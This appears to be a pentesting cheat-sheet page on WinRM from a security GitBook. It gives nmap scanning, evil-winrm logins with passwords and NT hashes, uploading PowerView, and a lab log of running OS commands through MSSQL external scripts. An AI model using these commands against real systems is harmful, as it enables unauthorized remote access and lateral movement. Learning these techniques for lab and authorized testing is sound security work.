WinRM (5985, 5986)

ko-fi

Nmap

nmap -sV -sC 10.129.201.248 -p5985,5986 --disable-arp-ping -n

Evil-WinRM

Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

If you get the error above on connecting to a host, you can add these following lines to /etc/ssl/openssl.cnf .

[legacy_sect]
activate = 1
evil-winrm -i 10.129.201.248 -u Cry0l1t3 -p P455w0rD!
evil-winrm -u "$USER" -H "$NT_HASH" -i "$TARGET"`

To use evil-winrm to connect to an IPv6 address create an entry inside /etc/hosts setting a domain name to the IPv6 address and connect to that domain.

SQL (hacker  dbo@flag)> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("ipconfig");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::1001
   IPv6 Address. . . . . . . . . . . : dead:beef::7912:217c:56e7:f15b
   Link-local IPv6 Address . . . . . : fe80::d379:8c3e:971a:5199%8
   IPv4 Address. . . . . . . . . . . : 10.13.38.11
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : dead:beef::1
                                       fe80::250:56ff:fe94:1921%8
                                       10.13.38.2

Ethernet adapter Ethernet1 2:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 172.20.128.101
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

Express Edition will continue to be enforced.

SQL (hacker  dbo@flag)> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("hostname");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 
COMPATIBILITY

Express Edition will continue to be enforced.

With Kerberos

With docker

Evil-WinRM

Upload

*Evil-WinRM* PS C:\Users\Administrator\Documents> upload PowerView.ps1 C:\Users\Administrator\Desktop

Download

*Evil-WinRM* PS C:\Users\Administrator\Desktop> download 20240308092156_BloodHound.zip

Python - evil-winrm-py

LogoGitHub - adityatelange/evil-winrm-py: Execute commands interactively on remote Windows machines using the WinRM protocolGitHub

Metasploit

LogoWinRMMetasploit Documentation Penetration Testing Software, Pen Testing Security
Metasploit

Netexec - CME

NetExec - CME

Command execution

PSSession

Enabled by default on Server 2012 onwards with firewall exception

PSRemoting uses WinRM

On Desktop, may need to enable remoting (admin privs needed): Enable-PSRemoting

LogoMonth of PowerShell - PowerShell Remoting, Part 1SANS Institute
LogoNew-PSSession (Microsoft.PowerShell.Core) - PowerShellMicrosoftLearn
LogoCommandes PowerShell Remoting : Guide de NBS SYSTEMNBS System

Create a session on a remote computer

List PSSession

Enter-PSSession

To use the PSSession to interact directly with a remote computer, use the Enter-PSSession cmdlet

Pass Username / password

With a variable

Or

Interact with an existing session

Execute command or scriptblocks

Execute locally loaded function on the remote machines

Stateful commands

Winrs

WSMan-WinRM

LogoGitHub - bohops/WSMan-WinRM: A collection of proof-of-concept source code and scripts for executing remote commands over WinRM using the WSMan.Automation COM objectGitHub

Resources

Logo5985,5986 - Pentesting WinRM - HackTricksbook.hacktricks.xyz
LogoWinRM Penetration TestingHacking Articles
LogoLateral Movement – WinRMPenetration Testing Lab

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

  • Nmap Network Scanning The official guide to the Nmap Security Scanner, a free and open source utility used by millions of people for network discovery, administration, and security auditing. From explaining port scanning basics for novices to detailing low-level packet crafting methods used by advanced hackers, this book by Nmap's original author suits all levels of security and networking professionals.

  • The Art of Network Penetration Testing A guide to simulating an internal security breach. You’ll take on the role of the attacker and work through every stage of a professional pentest, from information gathering to seizing control of a system and owning the network.

  • Network Basics for Hackers The book offers one of the most complete and in-depth analyses of Wi-Fi and Bluetooth networks, then progresses through the various protocols such as DNS, ARP, SMTP, and others.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

ko-fi

buymeacoffee

PreviousSSH (22)NextWMI (135)

Last updated